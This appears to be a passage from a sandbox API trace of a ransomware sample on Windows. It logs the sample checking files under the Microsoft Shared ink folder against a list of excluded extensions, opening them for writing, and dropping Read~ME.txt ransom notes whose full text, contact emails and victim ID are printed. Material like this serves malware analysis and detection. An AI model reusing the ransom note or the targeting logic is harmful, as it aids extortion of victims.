	[0078.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml", lpSrch=".sys") returned 0x0
	[0078.503] lstrlenW (lpString=".msc") returned 4
	[0078.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml", lpSrch=".msc") returned 0x0
	[0078.503] lstrlenW (lpString=".com") returned 4
	[0078.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml", lpSrch=".com") returned 0x0
	[0078.503] lstrlenW (lpString=".lnk") returned 4
	[0078.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml", lpSrch=".lnk") returned 0x0
	[0078.503] lstrlenW (lpString=".msp") returned 4
	[0078.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml", lpSrch=".msp") returned 0x0
	[0078.503] lstrlenW (lpString=".pif") returned 4
	[0078.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml", lpSrch=".pif") returned 0x0
	[0078.503] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5df8 | out: hHeap=0x300000) returned 1
	[0078.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5838 | out: hHeap=0x300000) returned 1
	[0078.520] RtlWakeConditionVariable () returned 0x365f70
	[0078.520] GetCurrentThreadId () returned 0x9f4
	[0078.520] GetCurrentThreadId () returned 0x9f4
	[0078.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5838
	[0078.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5f68 | out: hHeap=0x300000) returned 1
	[0078.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6048 | out: hHeap=0x300000) returned 1
	[0078.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5f68
	[0078.521] lstrlenW (lpString=".scr") returned 4
	[0078.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpSrch=".scr") returned 0x0
	[0078.521] lstrlenW (lpString=".cmd") returned 4
	[0078.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpSrch=".cmd") returned 0x0
	[0078.521] lstrlenW (lpString=".dll") returned 4
	[0078.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpSrch=".dll") returned 0x0
	[0078.521] lstrlenW (lpString=".bat") returned 4
	[0078.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpSrch=".bat") returned 0x0
	[0078.521] lstrlenW (lpString=".cpl") returned 4
	[0078.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpSrch=".cpl") returned 0x0
	[0078.521] lstrlenW (lpString=".sys") returned 4
	[0078.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpSrch=".sys") returned 0x0
	[0078.521] lstrlenW (lpString=".msc") returned 4
	[0078.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpSrch=".msc") returned 0x0
	[0078.521] lstrlenW (lpString=".com") returned 4
	[0078.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpSrch=".com") returned 0x0
	[0078.521] lstrlenW (lpString=".lnk") returned 4
	[0078.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpSrch=".lnk") returned 0x0
	[0078.521] lstrlenW (lpString=".msp") returned 4
	[0078.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpSrch=".msp") returned 0x0
	[0078.521] lstrlenW (lpString=".pif") returned 4
	[0078.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpSrch=".pif") returned 0x0
	[0078.521] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5f68 | out: hHeap=0x300000) returned 1
	[0078.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5838 | out: hHeap=0x300000) returned 1
	[0078.544] RtlWakeConditionVariable () returned 0x365f70
	[0078.544] GetCurrentThreadId () returned 0x9f4
	[0078.544] GetCurrentThreadId () returned 0x9f4
	[0078.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0078.544] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a61d0 | out: hHeap=0x300000) returned 1
	[0078.544] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0078.544] lstrlenW (lpString=".scr") returned 4
	[0078.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpSrch=".scr") returned 0x0
	[0078.544] lstrlenW (lpString=".cmd") returned 4
	[0078.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpSrch=".cmd") returned 0x0
	[0078.544] lstrlenW (lpString=".dll") returned 4
	[0078.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpSrch=".dll") returned 0x0
	[0078.544] lstrlenW (lpString=".bat") returned 4
	[0078.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpSrch=".bat") returned 0x0
	[0078.544] lstrlenW (lpString=".cpl") returned 4
	[0078.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpSrch=".cpl") returned 0x0
	[0078.544] lstrlenW (lpString=".sys") returned 4
	[0078.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpSrch=".sys") returned 0x0
	[0078.544] lstrlenW (lpString=".msc") returned 4
	[0078.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpSrch=".msc") returned 0x0
	[0078.544] lstrlenW (lpString=".com") returned 4
	[0078.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpSrch=".com") returned 0x0
	[0078.544] lstrlenW (lpString=".lnk") returned 4
	[0078.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpSrch=".lnk") returned 0x0
	[0078.545] lstrlenW (lpString=".msp") returned 4
	[0078.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpSrch=".msp") returned 0x0
	[0078.545] lstrlenW (lpString=".pif") returned 4
	[0078.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpSrch=".pif") returned 0x0
	[0078.545] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.545] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0078.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.554] RtlWakeConditionVariable () returned 0x365f70
	[0078.554] GetCurrentThreadId () returned 0x9f4
	[0078.554] GetCurrentThreadId () returned 0x9f4
	[0078.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6bc8 | out: hHeap=0x300000) returned 1
	[0078.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6240 | out: hHeap=0x300000) returned 1
	[0078.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6bc8
	[0078.554] lstrlenW (lpString=".scr") returned 4
	[0078.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.554] lstrlenW (lpString=".cmd") returned 4
	[0078.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.554] lstrlenW (lpString=".dll") returned 4
	[0078.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.554] lstrlenW (lpString=".dll.mui") returned 8
	[0078.555] lstrlenW (lpString=".bat") returned 4
	[0078.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.555] lstrlenW (lpString=".cpl") returned 4
	[0078.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.555] lstrlenW (lpString=".sys") returned 4
	[0078.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.555] lstrlenW (lpString=".msc") returned 4
	[0078.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.555] lstrlenW (lpString=".com") returned 4
	[0078.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.555] lstrlenW (lpString=".lnk") returned 4
	[0078.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.555] lstrlenW (lpString=".msp") returned 4
	[0078.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.555] lstrlenW (lpString=".pif") returned 4
	[0078.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.555] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6bc8 | out: hHeap=0x300000) returned 1
	[0078.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.555] RtlWakeConditionVariable () returned 0x365f70
	[0078.555] GetCurrentThreadId () returned 0x9f4
	[0078.556] GetCurrentThreadId () returned 0x9f4
	[0078.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f41c0 | out: hHeap=0x300000) returned 1
	[0078.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6278 | out: hHeap=0x300000) returned 1
	[0078.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f41c0
	[0078.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.556] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.556] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.557] CloseHandle (hObject=0x120) returned 1
	[0078.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f41c0 | out: hHeap=0x300000) returned 1
	[0078.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.558] RtlWakeConditionVariable () returned 0x365f70
	[0078.558] GetCurrentThreadId () returned 0x9f4
	[0078.558] GetCurrentThreadId () returned 0x9f4
	[0078.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4268 | out: hHeap=0x300000) returned 1
	[0078.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a62b0 | out: hHeap=0x300000) returned 1
	[0078.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4268
	[0078.558] lstrlenW (lpString=".scr") returned 4
	[0078.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.558] lstrlenW (lpString=".cmd") returned 4
	[0078.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.558] lstrlenW (lpString=".dll") returned 4
	[0078.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.558] lstrlenW (lpString=".dll.mui") returned 8
	[0078.558] lstrlenW (lpString=".bat") returned 4
	[0078.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.558] lstrlenW (lpString=".cpl") returned 4
	[0078.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.558] lstrlenW (lpString=".sys") returned 4
	[0078.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.558] lstrlenW (lpString=".msc") returned 4
	[0078.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.558] lstrlenW (lpString=".com") returned 4
	[0078.558] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.559] lstrlenW (lpString=".lnk") returned 4
	[0078.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.559] lstrlenW (lpString=".msp") returned 4
	[0078.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.559] lstrlenW (lpString=".pif") returned 4
	[0078.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.559] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4268 | out: hHeap=0x300000) returned 1
	[0078.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.559] RtlWakeConditionVariable () returned 0x365f70
	[0078.559] GetCurrentThreadId () returned 0x9f4
	[0078.559] GetCurrentThreadId () returned 0x9f4
	[0078.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0078.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a62e8 | out: hHeap=0x300000) returned 1
	[0078.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4310
	[0078.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.560] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.560] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.561] CloseHandle (hObject=0x120) returned 1
	[0078.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0078.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.561] RtlWakeConditionVariable () returned 0x365f70
	[0078.561] GetCurrentThreadId () returned 0x9f4
	[0078.562] GetCurrentThreadId () returned 0x9f4
	[0078.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f43b8 | out: hHeap=0x300000) returned 1
	[0078.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6320 | out: hHeap=0x300000) returned 1
	[0078.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f43b8
	[0078.562] lstrlenW (lpString=".scr") returned 4
	[0078.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.562] lstrlenW (lpString=".cmd") returned 4
	[0078.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.562] lstrlenW (lpString=".dll") returned 4
	[0078.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.562] lstrlenW (lpString=".dll.mui") returned 8
	[0078.562] lstrlenW (lpString=".bat") returned 4
	[0078.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.562] lstrlenW (lpString=".cpl") returned 4
	[0078.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.562] lstrlenW (lpString=".sys") returned 4
	[0078.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.562] lstrlenW (lpString=".msc") returned 4
	[0078.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.562] lstrlenW (lpString=".com") returned 4
	[0078.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.562] lstrlenW (lpString=".lnk") returned 4
	[0078.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.562] lstrlenW (lpString=".msp") returned 4
	[0078.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.563] lstrlenW (lpString=".pif") returned 4
	[0078.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.563] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f43b8 | out: hHeap=0x300000) returned 1
	[0078.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.601] RtlWakeConditionVariable () returned 0x365f70
	[0078.601] GetCurrentThreadId () returned 0x9f4
	[0078.601] GetCurrentThreadId () returned 0x9f4
	[0078.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0908
	[0078.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0a38 | out: hHeap=0x300000) returned 1
	[0078.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6710 | out: hHeap=0x300000) returned 1
	[0078.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0a38
	[0078.602] lstrlenW (lpString=".scr") returned 4
	[0078.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", lpSrch=".scr") returned 0x0
	[0078.602] lstrlenW (lpString=".cmd") returned 4
	[0078.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", lpSrch=".cmd") returned 0x0
	[0078.602] lstrlenW (lpString=".dll") returned 4
	[0078.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", lpSrch=".dll") returned 0x0
	[0078.602] lstrlenW (lpString=".bat") returned 4
	[0078.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", lpSrch=".bat") returned 0x0
	[0078.602] lstrlenW (lpString=".cpl") returned 4
	[0078.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", lpSrch=".cpl") returned 0x0
	[0078.602] lstrlenW (lpString=".sys") returned 4
	[0078.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", lpSrch=".sys") returned 0x0
	[0078.602] lstrlenW (lpString=".msc") returned 4
